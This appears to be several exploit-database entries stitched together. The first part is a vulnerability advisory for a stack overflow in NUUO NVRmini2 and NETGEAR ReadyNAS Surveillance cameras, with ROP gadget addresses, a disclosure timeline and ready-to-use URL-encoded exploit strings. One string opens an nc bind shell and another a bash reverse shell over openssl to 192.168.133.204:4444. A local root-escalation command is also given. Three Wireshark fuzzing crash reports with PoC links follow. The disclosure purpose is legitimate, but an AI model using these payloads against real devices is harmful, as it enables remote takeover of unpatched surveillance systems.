aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler
PPPP: pc / lr register content, offset 986
4444: r4 register content, offset 968
5555: r5 register content, offset 970
6666: r6 register content, offset 974
7777: r7 register content, offset 978
8888: r8 register content, offset 982
SSSS: start of stack pointer, offset 1002
> Exploit mitigations and constraints
The table below shows the exploit mitigation technologies for each target:
NVRmini2 ReadyNAS
NX Y Y
RELRO Partial Partial
ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
> Exploitation in the NVRmini2 (firmware v3.0.0):
This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget)
0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system)
0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
> Exploitation on ReadyNAS Surveillance (version v1.1.2):
To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:
0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)
0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)
0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)
Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
>> Fix:
NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available.
Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline:
28.02.2016: Disclosure to CERT/CC.
27.04.2016: Requested status update from CERT - they did not receive any response from vendors.
06.06.2016: Requested status update from CERT - still no response from vendors.
Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo.
13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels.
07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure.
17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
04.08.2016: Coordinated disclosure with CERT.
>> References:
[1] https://www.kb.cert.org/vuls/id/856152
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Sample PCAP
Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)
Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.
Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)
Built using gcc 5.3.1 20160407.
--
Fuzzed PCAP takes 100% CPU and runs for a long time on tshark 2.0.2 and a recent build from repository ( commit 688d055acd523e645c1e87267dcf4a0a9867adbd ).
GDB backtrace from 'tshark -2 -V -r <pcap>' aborted after running for a while:
Program received signal SIGABRT, Aborted.
0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
1722 next_bytes = li_on_2_bytes ? tvb_get_ntohs(tvb, hdr_len) : tvb_get_guint8(tvb, hdr_len);
123 tomb gdb execution "thread apply all bt" 321
Thread 1 (Thread 0x7ffff7fb9740 (LWP 1578)):
#0 0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
#1 0x00007ffff45bde04 in dissect_rlc_am (channel=RLC_UL_DCCH, tvb=0x9342c0, pinfo=0xb04c18, top_level=0x0, tree=0x0, atm=0x0) at packet-rlc.c:2308
#2 0x00007ffff45be82a in dissect_rlc_dcch (tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-rlc.c:2477
#3 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#4 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#5 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#6 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#7 0x00007ffff47e7679 in dissect_mac_fdd_dch (tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_mac.c:564
#8 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#9 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#10 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#11 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#12 0x00007ffff47dab2e in dissect_tb_data (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data_handle=0x7ffff7aae8e8 <mac_fdd_dch_handle>, data=0x0) at packet-umts_fp.c:815
#13 0x00007ffff47decbb in dissect_dch_channel_info (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data=0x0) at packet-umts_fp.c:2557
#14 0x00007ffff47e476e in dissect_fp_common (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4419
#15 0x00007ffff47e4add in dissect_fp (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4507
#16 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#17 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#18 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#19 0x00007ffff3c99819 in try_conversation_dissector (addr_a=0xb04cf0, addr_b=0xb04cd8, ptype=PT_UDP, port_a=65359, port_b=8040, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at conversation.c:1323
#20 0x00007ffff47d3839 in decode_udp_ports (tvb=0x848b70, offset=8, pinfo=0xb04c18, tree=0x0, uh_sport=8040, uh_dport=65359, uh_ulen=3554) at packet-udp.c:541
#21 0x00007ffff47d5e21 in dissect (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, ip_proto=17) at packet-udp.c:1080
#22 0x00007ffff47d5e79 in dissect_udp (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet-udp.c:1086
#23 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13330, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet.c:660
#24 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13330, tvb=0x848b70, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:735
#25 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x7b1cc0, uint_val=17, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:1199
#26 0x00007ffff425e409 in ip_try_dissect (heur_first=0, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, iph=0x7fffec869030) at packet-ip.c:1977
#27 0x00007ffff426037c in dissect_ip_v4 (tvb=0x848b20, pinfo=0xb04c18, parent_tree=0x0, data=0x0) at packet-ip.c:2476
#28 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb78930, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#29 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb78930, tvb=0x848b20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#30 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:1199
#31 0x00007ffff3cab5e4 in dissector_try_uint (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0) at packet.c:1225
#32 0x00007ffff40a1c60 in dissect_ethertype (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet-ethertype.c:262
#33 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:660
#34 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda50000, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffcc20) at packet.c:735
#35 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2791
#36 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2804
#37 0x00007ffff40a04d5 in dissect_eth_common (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, fcs_len=-1) at packet-eth.c:540
#38 0x00007ffff40a106b in dissect_eth (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet-eth.c:836
#39 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet.c:660
#40 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:735
#41 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c2c0, uint_val=1, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:1199
#42 0x00007ffff40e9887 in dissect_frame (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, data=0x7fffffffd380) at packet-frame.c:507
#43 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:660
#44 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51950, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffd380) at packet.c:735
#45 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2791
#46 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2804
#47 0x00007ffff3caa079 in dissect_record (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at packet.c:543
#48 0x00007ffff3c9ebf9 in epan_dissect_run (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at epan.c:365
#49 0x000000000041844c in process_packet_first_pass (cf=0x64f100 <cfile>, edt=0xb04c00, offset=20928, whdr=0xad68c0, pd=0xb04e20 "4\a\373\024t,\320\320\375+\004\300\b") at tshark.c:2694
#50 0x0000000000418dd7 in load_cap_file (cf=0x64f100 <cfile>, save_file=0x0, out_file_type=2, out_file_name_res=0, max_packet_count=-1, max_byte_count=0) at tshark.c:2988
#51 0x0000000000416fa0 in main (argc=5, argv=0x7fffffffdda8) at tshark.c:1873
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40199.zip
Sample generated with AFL
Build Information:
TShark (Wireshark) 2.0.4
Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.1, without SMI, with c-ares 1.11.0, with Lua
5.2, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos, with GeoIP.
Running on Linux 4.6.3-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.13, with Gcrypt 1.7.1.
Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2)
Built using gcc 6.1.1 20160602.
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)
This infinite loop is caused by an offset of 0 being returned by wkh_content_disposition(). This offset of 0 prevents the while loop using "offset < tvb_len" from returning and results in an infinite loop.
This issue has been observed in both tshark 1.12.x and 2.0.x.
Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40198.zip
Sample generated by AFL
Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)
Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.
Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)
The attached sample evokes a divide-by-zero error in the dissect_pbb_tlvblock() function at packet-packetbb.c:289.
The variable of interest seems to be 'c' which is set at packet-packetbb.c:285 using two other variables and an addition. When c is zero, the expression "length/c" at packet-packetbb.c:289 results in a divide-by-zero error.
Divide-by-zero has been observed when sample is parsed by tshark versions 1.12.8, 1.12.9, 1.12.10, 1.12.12, and 2.0.4 among others.
